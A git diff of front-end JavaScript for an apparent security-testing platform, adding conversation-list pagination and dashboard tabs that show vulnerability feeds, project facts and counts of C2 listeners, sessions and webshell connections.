return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
}
const items = data.conversations || data.items || [];
const arr = Array.isArray(items) ? items : [];
return {
items: arr,
total: parseListTotalValue(data.total, arr.length),
limit: parseListTotalValue(data.limit, arr.length) || arr.length,
offset: parseListOffsetValue(data.offset),
isLegacyArray: false,
};
}
async function resolveConversationsListTotal(params, parsed, pageSize, offset) {
const serverTotal = parsed.total;
if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
return serverTotal;
}
if (parsed.items.length < pageSize) {
return Math.max(serverTotal, offset + parsed.items.length);
}
const probe = new URLSearchParams(params);
probe.set('offset', String(offset + pageSize));
probe.set('limit', '1');
try {
const res = await apiFetch(`/api/conversations?${probe}`);
if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
const probeParsed = parseConversationsListResponse(await res.json());
if (probeParsed.total > serverTotal) return probeParsed.total;
if (probeParsed.items.length > 0) {
return Math.max(serverTotal, offset + pageSize + 1);
}
} catch (e) { /* ignore */ }
return Math.max(serverTotal, offset + parsed.items.length);
}
async function fetchAllConversations(searchQuery) {
let all = [];
const pageSize = 200;
let offset = 0;
let total = Infinity;
const search = (searchQuery || '').trim();
while (all.length < total) {
const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
if (search) params.set('search', search);
const res = await apiFetch(`/api/conversations?${params}`);
if (!res.ok) throw new Error('load conversations failed');
const parsed = parseConversationsListResponse(await res.json());
all = all.concat(parsed.items);
total = parsed.total;
if (!parsed.items.length) break;
offset += parsed.items.length;
}
return all;
}
function getConversationListEmptyHtml() {
return '<div class="conversations-list-empty" data-i18n="chat.noHistoryConversations"></div>';
}
function renderConversationsPagination(visibleCount) {
const el = document.getElementById('conversations-pagination');
if (!el) return;
const { page, pageSize, total } = conversationsPagination;
const count = typeof visibleCount === 'number' ? visibleCount : (conversationsPagination.visibleCount || 0);
conversationsPagination.visibleCount = count;
if (count === 0 || total === 0) {
el.innerHTML = '';
el.hidden = true;
return;
}
const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
const navDisabled = totalPages <= 1;
el.hidden = false;
const start = (page - 1) * pageSize + 1;
const end = Math.min(page * pageSize, total);
const tFn = typeof window.t === 'function' ? window.t.bind(window) : null;
const infoText = tFn
? tFn('chat.paginationRange', { start, end, total })
: `${start}-${end}/${total}`;
const pageText = tFn
? tFn('chat.paginationPage', { page, total: totalPages })
: `${page}/${totalPages}`;
const perPageLabel = tFn ? tFn('chat.paginationPerPage') : 'Per page';
const prevLabel = tFn ? tFn('chat.paginationPrev') : 'Prev';
const nextLabel = tFn ? tFn('chat.paginationNext') : 'Next';
el.innerHTML = `
<div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
<span class="pagination-info">${escapeHtml(infoText)}</span>
<div class="pagination-controls">
<button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(prevLabel)}" aria-label="${escapeHtml(prevLabel)}"></button>
<span class="pagination-page">${escapeHtml(pageText)}</span>
<button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(nextLabel)}" aria-label="${escapeHtml(nextLabel)}"></button>
</div>
<label class="pagination-page-size">
${escapeHtml(perPageLabel)}
<select id="conversations-page-size-pagination" onchange="changeConversationsPageSize()">
<option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
<option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
<option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
</select>
</label>
</div>`;
}
function goConversationsPage(page) {
const totalPages = Math.max(1, Math.ceil((conversationsPagination.total || 0) / conversationsPagination.pageSize) || 1);
const next = Math.min(Math.max(1, page), totalPages);
if (next === conversationsPagination.page) return;
conversationsPagination.page = next;
loadConversationsWithGroups(conversationsSearchQuery);
}
function changeConversationsPageSize() {
const sel = document.getElementById('conversations-page-size-pagination');
const newSize = sel ? parseInt(sel.value, 10) : 50;
if (![20, 50, 100].includes(newSize)) return;
try {
localStorage.setItem(CONVERSATIONS_PAGE_SIZE_KEY, String(newSize));
} catch (e) { /* ignore */ }
conversationsPagination.pageSize = newSize;
conversationsPagination.page = 1;
loadConversationsWithGroups(conversationsSearchQuery);
}
window.goConversationsPage = goConversationsPage;
window.changeConversationsPageSize = changeConversationsPageSize;
// 加载分组列表 // 加载分组列表
async function loadGroups() { async function loadGroups() {
@@ -5685,12 +5885,17 @@ async function loadGroups() {
async function loadConversationsWithGroups(searchQuery = '') { async function loadConversationsWithGroups(searchQuery = '') {
const loadSeq = ++conversationsListLoadSeq; const loadSeq = ++conversationsListLoadSeq;
try { try {
// 并行加载分组列表、分组映射和对话列表(消除串行等待) conversationsSearchQuery = searchQuery || '';
const limit = (searchQuery && searchQuery.trim()) ? 100 : 100; conversationsPagination.pageSize = getConversationsPageSize();
let url = `/api/conversations?limit=${limit}`; const pageSize = conversationsPagination.pageSize;
const offset = (conversationsPagination.page - 1) * pageSize;
const convParams = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
if (searchQuery && searchQuery.trim()) { if (searchQuery && searchQuery.trim()) {
url += '&search=' + encodeURIComponent(searchQuery.trim()); convParams.set('search', searchQuery.trim());
} else {
convParams.set('exclude_grouped', 'true');
} }
const url = `/api/conversations?${convParams}`;
const [,, response] = await Promise.all([ const [,, response] = await Promise.all([
loadGroups(), loadGroups(),
loadConversationGroupMapping(), loadConversationGroupMapping(),
@@ -5707,23 +5912,26 @@ async function loadConversationsWithGroups(searchQuery = '') {
const sidebarContent = listContainer.closest('.sidebar-content'); const sidebarContent = listContainer.closest('.sidebar-content');
const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0; const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0;
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>'; const emptyStateHtml = getConversationListEmptyHtml();
listContainer.innerHTML = ''; listContainer.innerHTML = '';
// 如果响应不是200,显示空状态(友好处理,不显示错误) // 如果响应不是200,显示空状态(友好处理,不显示错误)
if (!response.ok) { if (!response.ok) {
listContainer.innerHTML = emptyStateHtml; listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer); if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
renderConversationsPagination(0);
return; return;
} }
const conversations = await response.json(); const data = await response.json();
if (loadSeq !== conversationsListLoadSeq) return; if (loadSeq !== conversationsListLoadSeq) return;
const parsed = parseConversationsListResponse(data);
conversationsPagination.total = await resolveConversationsListTotal(convParams, parsed, pageSize, offset);
// 双重保险:后端或并发情况下若出现重复ID,前端按ID去重 // 双重保险:后端或并发情况下若出现重复ID,前端按ID去重
const uniqueConversations = []; const uniqueConversations = [];
const seenConversationIds = new Set(); const seenConversationIds = new Set();
(Array.isArray(conversations) ? conversations : []).forEach(conv => { parsed.items.forEach(conv => {
if (!conv || !conv.id || seenConversationIds.has(conv.id)) { if (!conv || !conv.id || seenConversationIds.has(conv.id)) {
return; return;
} }
@@ -5734,6 +5942,7 @@ async function loadConversationsWithGroups(searchQuery = '') {
if (uniqueConversations.length === 0) { if (uniqueConversations.length === 0) {
listContainer.innerHTML = emptyStateHtml; listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer); if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
renderConversationsPagination(0);
return; return;
} }
@@ -5844,15 +6053,29 @@ async function loadConversationsWithGroups(searchQuery = '') {
fragment.appendChild(section); fragment.appendChild(section);
}); });
const visibleCount = pinnedConvs.length + Object.values(groups).reduce((n, arr) => n + (arr ? arr.length : 0), 0);
conversationsPagination.visibleCount = visibleCount;
if (!hasSearchQuery && visibleCount === 0 && parsed.items.length > 0) {
const totalPages = Math.max(1, Math.ceil(parsed.total / pageSize));
if (conversationsPagination.page < totalPages) {
conversationsPagination.page += 1;
loadConversationsWithGroups(searchQuery);
return;
}
}
if (fragment.children.length === 0) { if (fragment.children.length === 0) {
listContainer.innerHTML = emptyStateHtml; listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer); if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
renderConversationsPagination(0);
return; return;
} }
if (loadSeq !== conversationsListLoadSeq) return; if (loadSeq !== conversationsListLoadSeq) return;
listContainer.appendChild(fragment); listContainer.appendChild(fragment);
updateActiveConversation(); updateActiveConversation();
renderConversationsPagination(visibleCount);
// 恢复滚动位置 // 恢复滚动位置
if (sidebarContent) { if (sidebarContent) {
@@ -5869,9 +6092,9 @@ async function loadConversationsWithGroups(searchQuery = '') {
// 错误时显示空状态,而不是错误提示(更友好的用户体验) // 错误时显示空状态,而不是错误提示(更友好的用户体验)
const listContainer = document.getElementById('conversations-list'); const listContainer = document.getElementById('conversations-list');
if (listContainer) { if (listContainer) {
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>'; listContainer.innerHTML = getConversationListEmptyHtml();
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer); if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
renderConversationsPagination(0);
} }
} }
} }
@@ -6985,15 +7208,7 @@ function updateBatchManageTitle(count) {
async function showBatchManageModal() { async function showBatchManageModal() {
try { try {
const response = await apiFetch('/api/conversations?limit=1000'); allConversationsForBatch = await fetchAllConversations('');
// 如果响应不是200,使用空数组(友好处理,不显示错误)
if (!response.ok) {
allConversationsForBatch = [];
} else {
const data = await response.json();
allConversationsForBatch = Array.isArray(data) ? data : [];
}
const modal = document.getElementById('batch-manage-modal'); const modal = document.getElementById('batch-manage-modal');
updateBatchManageTitle(allConversationsForBatch.length); updateBatchManageTitle(allConversationsForBatch.length);
@@ -7394,7 +7609,7 @@ document.addEventListener('languagechange', function () {
refreshHitlConfigByCurrentConversation(); refreshHitlConfigByCurrentConversation();
}); });
// 点击外部关闭图标选择器、对话模式面板 // 点击外部关闭图标选择器、对话模式面板、侧栏折叠卡片
document.addEventListener('click', function(event) { document.addEventListener('click', function(event) {
const picker = document.getElementById('group-icon-picker'); const picker = document.getElementById('group-icon-picker');
const iconBtn = document.getElementById('create-group-icon-btn'); const iconBtn = document.getElementById('create-group-icon-btn');
@@ -7420,6 +7635,13 @@ document.addEventListener('click', function(event) {
closeChatReasoningPanel(); closeChatReasoningPanel();
} }
} }
const hitlCard = document.getElementById('hitl-sidebar-card');
if (hitlCard && !hitlCard.classList.contains('hitl-sidebar-collapsed')) {
if (!hitlCard.contains(event.target)) {
closeHitlSidebarCard();
}
}
}); });
// 创建分组 // 创建分组
+354 -31
View File
@@ -21,6 +21,9 @@ var dashboardState = {
lastUpdatedAt: 0, // 上次成功刷新的时间戳(ms lastUpdatedAt: 0, // 上次成功刷新的时间戳(ms
dismissedAlertKey: null, // 当前会话中被用户「×」掉的告警内容指纹(同样的 reasons 不再弹) dismissedAlertKey: null, // 当前会话中被用户「×」掉的告警内容指纹(同样的 reasons 不再弹)
lastResources: null, // 上一轮关键资源快照,用于判断是否首次有数据 / 智能 CTA lastResources: null, // 上一轮关键资源快照,用于判断是否首次有数据 / 智能 CTA
recentFeedTab: 'vulns', // 最近漏洞 / 近期事实 Tab
accessTab: 'c2', // 接入概览 Tabc2 | webshell
lastProjectSummary: null, // 最近一次项目仪表盘摘要(供 Tab 切换时重绘)
}; };
async function refreshDashboard() { async function refreshDashboard() {
@@ -57,9 +60,14 @@ async function refreshDashboard() {
hideEl('dashboard-kpi-vuln-critical-badge'); hideEl('dashboard-kpi-vuln-critical-badge');
hideEl('dashboard-alert-banner'); hideEl('dashboard-alert-banner');
setRecentVulnsLoading(); setRecentVulnsLoading();
['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) { setRecentFactsLoading();
['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
setEl('dashboard-resource-' + k, '…'); setEl('dashboard-resource-' + k, '…');
}); });
setEl('dashboard-webshell-connections', '…');
setEl('dashboard-c2-listeners-running', '…');
setEl('dashboard-c2-sessions-online', '…');
setEl('dashboard-c2-tasks-pending', '…');
var chartPlaceholder = document.getElementById('dashboard-tools-pie-placeholder'); var chartPlaceholder = document.getElementById('dashboard-tools-pie-placeholder');
if (chartPlaceholder) { chartPlaceholder.style.removeProperty('display'); chartPlaceholder.textContent = (typeof window.t === 'function' ? window.t('common.loading') : '加载中…'); } if (chartPlaceholder) { chartPlaceholder.style.removeProperty('display'); chartPlaceholder.textContent = (typeof window.t === 'function' ? window.t('common.loading') : '加载中…'); }
var barChartEl = document.getElementById('dashboard-tools-bar-chart'); var barChartEl = document.getElementById('dashboard-tools-bar-chart');
@@ -104,7 +112,8 @@ async function refreshDashboard() {
openCriticalRes, openHighRes, openMediumRes, openLowRes, toolsConfigRes, openCriticalRes, openHighRes, openMediumRes, openLowRes, toolsConfigRes,
hitlPendingRes, notificationsRes, externalMcpStatsRes, hitlPendingRes, notificationsRes, externalMcpStatsRes,
webshellRes, webshellRes,
c2ListenersRes, c2SessionsRes, c2TasksRes c2ListenersRes, c2SessionsRes, c2TasksRes,
projectSummaryRes
] = await Promise.all([ ] = await Promise.all([
fetchJson('/api/agent-loop/tasks'), fetchJson('/api/agent-loop/tasks'),
fetchJson('/api/vulnerabilities/stats'), fetchJson('/api/vulnerabilities/stats'),
@@ -112,7 +121,7 @@ async function refreshDashboard() {
fetchJson('/api/monitor/stats'), fetchJson('/api/monitor/stats'),
fetchJson('/api/knowledge/stats'), fetchJson('/api/knowledge/stats'),
fetchJson('/api/skills/stats'), fetchJson('/api/skills/stats'),
fetchJson('/api/vulnerabilities?limit=5&page=1'), fetchJson('/api/vulnerabilities?limit=10&page=1'),
fetchJson('/api/roles'), fetchJson('/api/roles'),
fetchJson('/api/multi-agent/markdown-agents'), fetchJson('/api/multi-agent/markdown-agents'),
openVulnQuery('critical'), openVulnQuery('critical'),
@@ -134,7 +143,8 @@ async function refreshDashboard() {
// C2 仪表盘条:监听器 / 会话 / 待处理任务(任务接口含 pending_queued_count // C2 仪表盘条:监听器 / 会话 / 待处理任务(任务接口含 pending_queued_count
fetchJson('/api/c2/listeners'), fetchJson('/api/c2/listeners'),
fetchJson('/api/c2/sessions?limit=500'), fetchJson('/api/c2/sessions?limit=500'),
fetchJson('/api/c2/tasks?page=1&page_size=1') fetchJson('/api/c2/tasks?page=1&page_size=1'),
fetchJson('/api/projects/dashboard-summary?fact_limit=10')
]); ]);
// 如果在 await 期间 controller 已被 abort,说明又有新刷新启动了,丢弃本次结果 // 如果在 await 期间 controller 已被 abort,说明又有新刷新启动了,丢弃本次结果
@@ -373,20 +383,10 @@ async function refreshDashboard() {
} else { } else {
setEl('dashboard-resource-agents', '-'); setEl('dashboard-resource-agents', '-');
} }
// WebShell 已建立的连接:/api/webshell/connections 直接返回数组(不带包裹),
// 兼容一下 { connections: [...] } 形式以防后续接口变更
var webshellList = null;
if (Array.isArray(webshellRes)) webshellList = webshellRes;
else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
var webshellCount = webshellList ? webshellList.length : null;
if (webshellCount !== null) {
setEl('dashboard-resource-webshell', formatNumber(webshellCount));
} else {
setEl('dashboard-resource-webshell', '-');
}
// 最近漏洞列表 // 最近漏洞列表
renderRecentVulns(recentVulnsRes); renderRecentVulns(recentVulnsRes);
dashboardState.lastProjectSummary = projectSummaryRes;
renderRecentFacts(projectSummaryRes);
// External MCP 健康度(同时拿到 down 数喂给 alert banner / 推荐操作) // External MCP 健康度(同时拿到 down 数喂给 alert banner / 推荐操作)
var externalMcpDown = renderExternalMcpHealth(externalMcpStatsRes); var externalMcpDown = renderExternalMcpHealth(externalMcpStatsRes);
@@ -397,8 +397,8 @@ async function refreshDashboard() {
// 「最近事件」内联展示(来自通知摘要,过滤掉已经被仪表盘其他位置覆盖的类型) // 「最近事件」内联展示(来自通知摘要,过滤掉已经被仪表盘其他位置覆盖的类型)
renderRecentEvents(notificationsRes); renderRecentEvents(notificationsRes);
// C2 概览条(监听器 / 在线会话 / 待处理任务 // 接入概览(C2 + WebShell
renderDashboardC2Overview(c2ListenersRes, c2SessionsRes, c2TasksRes); renderDashboardAccessOverview(c2ListenersRes, c2SessionsRes, c2TasksRes, webshellRes);
// 关键提醒条:把所有可能的告警源(漏洞/HITL/失败率/MCP健康)合并展示 // 关键提醒条:把所有可能的告警源(漏洞/HITL/失败率/MCP健康)合并展示
renderDashboardAlertBanner({ renderDashboardAlertBanner({
@@ -448,12 +448,13 @@ async function refreshDashboard() {
setKpiSubText('dashboard-kpi-vuln-sub-text', '-'); setKpiSubText('dashboard-kpi-vuln-sub-text', '-');
setKpiSubText('dashboard-kpi-tools-sub-text', '-'); setKpiSubText('dashboard-kpi-tools-sub-text', '-');
setKpiSubText('dashboard-kpi-rate-sub-text', '-'); setKpiSubText('dashboard-kpi-rate-sub-text', '-');
['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) { ['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
setEl('dashboard-resource-' + k, '-'); setEl('dashboard-resource-' + k, '-');
}); });
var c2secErr = document.getElementById('dashboard-section-c2'); var accessSecErr = document.getElementById('dashboard-section-access');
if (c2secErr) c2secErr.hidden = true; if (accessSecErr) accessSecErr.hidden = true;
setRecentVulnsError(); setRecentVulnsError();
setRecentFactsError();
renderDashboardToolsBar(null); renderDashboardToolsBar(null);
var ph = document.getElementById('dashboard-tools-pie-placeholder'); var ph = document.getElementById('dashboard-tools-pie-placeholder');
if (ph) { ph.style.removeProperty('display'); ph.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据'); } if (ph) { ph.style.removeProperty('display'); ph.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据'); }
@@ -467,14 +468,29 @@ async function refreshDashboard() {
} }
} }
/** C2 概览条:依赖 /api/c2/listeners、sessions、tasks;任一路由失败则整块隐藏 */ /** 接入概览:C2 / WebShell Tab 切换;C2 禁用时仅保留 WebShell Tab */
function renderDashboardC2Overview(listenersRes, sessionsRes, tasksRes) { function renderDashboardAccessOverview(listenersRes, sessionsRes, tasksRes, webshellRes) {
var section = document.getElementById('dashboard-section-c2'); var section = document.getElementById('dashboard-section-access');
if (!section) return; if (!section) return;
if (listenersRes === null && sessionsRes === null && tasksRes === null) {
var c2ConfigOn = window.__c2Enabled !== false;
var webshellList = null;
if (Array.isArray(webshellRes)) webshellList = webshellRes;
else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
var wsApiOk = webshellRes !== null;
var c2ApiOk = listenersRes !== null || sessionsRes !== null || tasksRes !== null;
var showC2 = c2ConfigOn && c2ApiOk;
var showWs = wsApiOk;
section.dataset.c2Available = showC2 ? '1' : '0';
section.dataset.webshellAvailable = showWs ? '1' : '0';
if (!showC2 && !showWs) {
section.hidden = true; section.hidden = true;
return; return;
} }
if (showC2) {
var running = '-'; var running = '-';
if (listenersRes && Array.isArray(listenersRes.listeners)) { if (listenersRes && Array.isArray(listenersRes.listeners)) {
running = String(listenersRes.listeners.filter(function (l) { running = String(listenersRes.listeners.filter(function (l) {
@@ -508,12 +524,125 @@ function renderDashboardC2Overview(listenersRes, sessionsRes, tasksRes) {
setEl('dashboard-c2-listeners-running', running); setEl('dashboard-c2-listeners-running', running);
setEl('dashboard-c2-sessions-online', online); setEl('dashboard-c2-sessions-online', online);
setEl('dashboard-c2-tasks-pending', pending); setEl('dashboard-c2-tasks-pending', pending);
}
if (showWs) {
var wsCount = webshellList ? webshellList.length : 0;
setEl('dashboard-webshell-connections', formatNumber(wsCount));
renderDashboardWebshellRecent(webshellList || []);
}
section.hidden = false; section.hidden = false;
syncDashboardAccessTabs();
if (typeof applyTranslations === 'function') { if (typeof applyTranslations === 'function') {
try { applyTranslations(section); } catch (_e) { /* ignore */ } try { applyTranslations(section); } catch (_e) { /* ignore */ }
} }
} }
/** C2 / WebShell Tab 切换(样式与「最近漏洞 / 近期事实」一致) */
function switchDashboardAccessTab(tab) {
tab = tab === 'webshell' ? 'webshell' : 'c2';
dashboardState.accessTab = tab;
applyDashboardAccessTabUI(tab);
}
function applyDashboardAccessTabUI(tab) {
var tabC2 = document.getElementById('dashboard-access-tab-c2');
var tabWs = document.getElementById('dashboard-access-tab-webshell');
var panelC2 = document.getElementById('dashboard-access-panel-c2');
var panelWs = document.getElementById('dashboard-access-panel-webshell');
if (tabC2) {
tabC2.classList.toggle('is-active', tab === 'c2');
tabC2.setAttribute('aria-selected', tab === 'c2' ? 'true' : 'false');
}
if (tabWs) {
tabWs.classList.toggle('is-active', tab === 'webshell');
tabWs.setAttribute('aria-selected', tab === 'webshell' ? 'true' : 'false');
}
if (panelC2) panelC2.hidden = tab !== 'c2';
if (panelWs) panelWs.hidden = tab !== 'webshell';
updateDashboardAccessViewAll(tab);
}
function updateDashboardAccessViewAll(tab) {
var link = document.getElementById('dashboard-access-view-all');
if (!link) return;
if (tab === 'webshell') {
link.onclick = function () { try { switchPage('webshell'); } catch (_) {} };
link.setAttribute('data-i18n', 'dashboard.webshellGoManage');
link.textContent = dt('dashboard.webshellGoManage', null, '进入 WebShell →');
} else {
link.onclick = function () { try { switchPage('c2-listeners'); } catch (_) {} };
link.setAttribute('data-i18n', 'dashboard.c2GoManage');
link.textContent = dt('dashboard.c2GoManage', null, '进入 C2 →');
}
}
/** 根据可用模块同步 Tab 可见性与默认选中项 */
function syncDashboardAccessTabs() {
var section = document.getElementById('dashboard-section-access');
if (!section || section.hidden) return;
var showC2 = section.dataset.c2Available === '1';
var showWs = section.dataset.webshellAvailable === '1';
var tabNav = document.getElementById('dashboard-access-tabs');
var tabC2 = document.getElementById('dashboard-access-tab-c2');
var tabWs = document.getElementById('dashboard-access-tab-webshell');
if (tabC2) tabC2.hidden = !showC2;
if (tabWs) tabWs.hidden = !showWs;
if (tabNav) tabNav.hidden = false;
var tab = dashboardState.accessTab;
if (tab === 'c2' && !showC2) tab = 'webshell';
if (tab === 'webshell' && !showWs) tab = 'c2';
if (!showC2 && showWs) tab = 'webshell';
if (showC2 && !showWs) tab = 'c2';
dashboardState.accessTab = tab;
applyDashboardAccessTabUI(tab);
}
/** WebShell 接入概览:最近 3 条连接摘要 */
function renderDashboardWebshellRecent(list) {
var container = document.getElementById('dashboard-webshell-recent');
if (!container) return;
container.innerHTML = '';
if (!list || list.length === 0) {
container.hidden = true;
return;
}
var sorted = list.slice().sort(function (a, b) {
var ta = (a && a.createdAt) ? Date.parse(a.createdAt) : 0;
var tb = (b && b.createdAt) ? Date.parse(b.createdAt) : 0;
return tb - ta;
});
var recent = sorted.slice(0, 3);
recent.forEach(function (conn) {
if (!conn) return;
var item = document.createElement('div');
item.className = 'dashboard-webshell-recent-item';
item.setAttribute('role', 'button');
item.setAttribute('tabindex', '0');
var label = (conn.remark || '').trim() || (conn.url || '').trim() || (conn.id || '');
var typeTag = (conn.type || 'shell').toUpperCase();
item.innerHTML =
'<span class="dashboard-webshell-recent-type">' + esc(typeTag) + '</span>' +
'<span class="dashboard-webshell-recent-label" title="' + esc(label) + '">' + esc(label) + '</span>';
var openWs = function () {
try { switchPage('webshell'); } catch (_) {}
};
item.addEventListener('click', openWs);
item.addEventListener('keydown', function (e) {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
openWs();
}
});
container.appendChild(item);
});
container.hidden = false;
}
function setEl(id, text) { function setEl(id, text) {
const el = document.getElementById(id); const el = document.getElementById(id);
if (el) el.textContent = text; if (el) el.textContent = text;
@@ -1088,12 +1217,9 @@ function renderRecentVulns(res) {
if (list.length === 0) { if (list.length === 0) {
if (empty) { if (empty) {
empty.hidden = false; empty.hidden = false;
// 升级版空状态:图标 + 标题 + 描述 + 行动按钮,比纯文本更易引导用户下一步 // 升级版空状态:标题 + 描述 + 行动按钮,比纯文本更易引导用户下一步
empty.classList.add('is-rich'); empty.classList.add('is-rich');
empty.innerHTML = ( empty.innerHTML = (
'<span class="dashboard-empty-icon" aria-hidden="true">' +
'<svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12l2 2 4-4"/></svg>' +
'</span>' +
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无最近漏洞')) + '</div>' + '<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无最近漏洞')) + '</div>' +
'<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '此处展示近期漏洞记录;在对话中完成检测后,新结果会出现在这里')) + '</div>' + '<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '此处展示近期漏洞记录;在对话中完成检测后,新结果会出现在这里')) + '</div>' +
'<button type="button" class="dashboard-empty-action" data-action="scan">' + '<button type="button" class="dashboard-empty-action" data-action="scan">' +
@@ -1109,7 +1235,7 @@ function renderRecentVulns(res) {
empty.classList.remove('is-rich'); empty.classList.remove('is-rich');
} }
list.slice(0, 5).forEach(function (v) { list.slice(0, 10).forEach(function (v) {
const sev = (v.severity || 'info').toLowerCase(); const sev = (v.severity || 'info').toLowerCase();
const status = (v.status || 'open').toLowerCase(); const status = (v.status || 'open').toLowerCase();
const item = document.createElement('a'); const item = document.createElement('a');
@@ -1130,6 +1256,203 @@ function renderRecentVulns(res) {
}); });
} }
// 最近漏洞 / 近期事实 Tab 切换(共用列表区域,查看全部链接随 Tab 变化)
function switchDashboardFeedTab(tab) {
tab = tab === 'facts' ? 'facts' : 'vulns';
dashboardState.recentFeedTab = tab;
var tabVulns = document.getElementById('dashboard-feed-tab-vulns');
var tabFacts = document.getElementById('dashboard-feed-tab-facts');
var panelVulns = document.getElementById('dashboard-feed-panel-vulns');
var panelFacts = document.getElementById('dashboard-feed-panel-facts');
if (tabVulns) {
tabVulns.classList.toggle('is-active', tab === 'vulns');
tabVulns.setAttribute('aria-selected', tab === 'vulns' ? 'true' : 'false');
}
if (tabFacts) {
tabFacts.classList.toggle('is-active', tab === 'facts');
tabFacts.setAttribute('aria-selected', tab === 'facts' ? 'true' : 'false');
}
if (panelVulns) panelVulns.hidden = tab !== 'vulns';
if (panelFacts) panelFacts.hidden = tab !== 'facts';
updateDashboardFeedViewAll(tab);
}
function updateDashboardFeedViewAll(tab) {
var link = document.getElementById('dashboard-feed-view-all');
if (!link) return;
if (tab === 'facts') {
link.onclick = function () { try { switchPage('projects'); } catch (_) {} };
} else {
link.onclick = function () { try { switchPage('vulnerabilities'); } catch (_) {} };
}
}
function setRecentFactsLoading() {
var wrap = document.getElementById('dashboard-recent-facts');
var empty = document.getElementById('dashboard-recent-facts-empty');
if (!wrap) return;
clearRecentFactsList(wrap);
if (empty) {
empty.hidden = false;
empty.classList.remove('is-rich');
empty.textContent = dt('common.loading', null, '加载中…');
}
}
function clearRecentFactsList(wrap) {
if (!wrap) return;
Array.from(wrap.querySelectorAll('.dashboard-recent-fact-item, .dashboard-recent-facts-meta')).forEach(function (n) { n.remove(); });
}
function setRecentFactsError() {
var wrap = document.getElementById('dashboard-recent-facts');
var empty = document.getElementById('dashboard-recent-facts-empty');
if (!wrap) return;
clearRecentFactsList(wrap);
if (empty) {
empty.hidden = false;
empty.classList.remove('is-rich');
empty.textContent = dt('common.loadFailed', null, '加载失败');
}
}
function factConfidenceShortLabel(confidence) {
var c = String(confidence || '').toLowerCase();
if (c === 'confirmed') return dt('projects.confidenceConfirmed', null, '已确认');
if (c === 'tentative') return dt('projects.confidenceTentative', null, '待确认');
return c || '—';
}
function factCategoryShortLabel(category) {
var raw = String(category || '').trim();
return raw || 'note';
}
// 按 project_id(回退 project_name)稳定映射 8 种配色,同一项目跨刷新颜色一致
function projectFactProjectTone(projectId, projectName) {
var key = String(projectId || projectName || '').trim();
if (!key) return 0;
var hash = 0;
for (var i = 0; i < key.length; i++) {
hash = ((hash << 5) - hash) + key.charCodeAt(i);
hash |= 0;
}
return Math.abs(hash) % 8;
}
function openProjectFactFromDashboard(projectId, factKey) {
if (!projectId) return;
if (typeof switchPage === 'function') {
switchPage('projects');
}
setTimeout(async function () {
if (typeof window.initProjectsPage === 'function') {
await window.initProjectsPage();
}
if (typeof window.selectProject === 'function') {
await window.selectProject(projectId);
}
if (typeof window.switchProjectTab === 'function') {
window.switchProjectTab('facts');
}
if (factKey && typeof window.viewProjectFactBody === 'function') {
window.viewProjectFactBody(factKey);
}
}, 350);
}
function renderRecentFacts(res) {
var wrap = document.getElementById('dashboard-recent-facts');
var empty = document.getElementById('dashboard-recent-facts-empty');
if (!wrap) return;
clearRecentFactsList(wrap);
var list = (res && Array.isArray(res.recent_facts)) ? res.recent_facts : [];
var totals = (res && res.totals) ? res.totals : {};
var activeProjects = totals.active_projects || 0;
var totalFacts = totals.total_facts || 0;
if (list.length === 0) {
if (empty) {
empty.hidden = false;
empty.classList.add('is-rich');
var desc = activeProjects > 0
? dt('dashboard.noFactsDesc', null, '在绑定项目的对话中,Agent 会自动记录目标、漏洞、攻击链等事实')
: dt('projects.selectOrCreateHint', null, '项目用于跨对话共享「事实黑板」:目标、环境、认证等信息会在绑定项目的对话中自动注入。');
var ctaLabel = activeProjects > 0
? dt('dashboard.goToChat', null, '前往对话')
